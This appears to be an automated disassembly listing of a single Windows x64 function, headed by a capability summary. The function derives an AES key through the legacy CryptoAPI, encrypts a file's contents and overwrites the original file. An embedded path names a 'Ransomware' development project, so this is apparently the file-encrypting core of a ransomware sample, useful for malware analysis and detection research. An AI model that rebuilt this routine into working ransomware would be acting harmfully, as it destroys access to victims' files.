Function at 0x140011483
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get file size
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
jmp 0x140012550
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x248]
mov rax, qword [0x140020040]
xor rax, rbp
mov qword [rbp + 0x1d8], rax
lea rcx, [0x1400260b2]
call fcn.140011442
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rbp + 0x200]
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x1400125f8
lea rcx, str.Error_opening_file
call fcn.1400111ef
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, eax
call fcn.1400111a9
jmp 0x14001297d
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x140012634
lea rcx, str.Error_acquiring_crypto_context_n
call fcn.1400111ef
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x14001297d
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800c
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x14001267d
lea rcx, str.Error_creating_hash_n
call fcn.1400111ef
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x14001297d
mov rcx, qword [rbp + 0x208]
call fcn.1400111c7
xor r9d, r9d
mov r8d, eax
mov rdx, qword [rbp + 0x208]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x1400126d5
lea rcx, str.Error_hashing_data_n
call fcn.1400111ef
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x14001297d
lea rax, [rbp + 0x68]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8, qword [rbp + 0x48]
mov edx, 0x6610
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x140012729
lea rcx, str.Error_deriving_key_n
call fcn.1400111ef
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x14001297d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [rbp + 0x84], eax
mov eax, dword [rbp + 0x84]
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 0x84]
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0xa4]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, dword [0x140020004]
add eax, 0x2f
mov ecx, dword [rbp + 0xa4]
mov r9d, eax
lea r8, str.C:UsersmjankDocumentsMalDevRansomwareVideoGotchaCryptGotchaCryptmain.c
mov edx, 1
call qword [sym.imp.ucrtbased.dll__malloc_dbg]
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0xe4], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xe4]
mov r8d, dword [rbp + 0x84]
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x140012829
lea rcx, str.Error_reading_file_n
call fcn.1400111ef
mov edx, 1
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ucrtbased.dll__free_dbg]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x14001297d
mov rdx, qword [rbp + 0xc8]
lea rcx, str.___Succesfully_saved_plaintext_file_to_a_buffer:__s_n
call fcn.1400111ef
mov eax, dword [rbp + 0xa4]
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0xe4]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0xc8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x1400128cc
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea rcx, str.Error_encrypting_data__d_n
call fcn.1400111ef
mov edx, 1
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ucrtbased.dll__free_dbg]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x14001297d
mov rdx, qword [rbp + 0xc8]
lea rcx, str.___Succesfully_encrypted_the_buffer:__s_n
call fcn.1400111ef
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov dword [rbp + 0x104], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x104]
mov r8d, dword [rbp + 0xe4]
mov rdx, qword [rbp + 0xc8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x140012935
lea rcx, str.Error_writing_encrypted_data_to_file_n
call fcn.1400111ef
jmp 0x140012941
lea rcx, str.File_encrypted_successfully_n
call fcn.1400111ef
mov edx, 1
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ucrtbased.dll__free_dbg]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea rcx, [rbp - 0x40]
lea rdx, [0x14001d140]
call fcn.1400113bb
mov rcx, qword [rbp + 0x1d8]
xor rcx, rbp
call fcn.140011208
lea rsp, [rbp + 0x1e8]
pop rdi
pop rbp
ret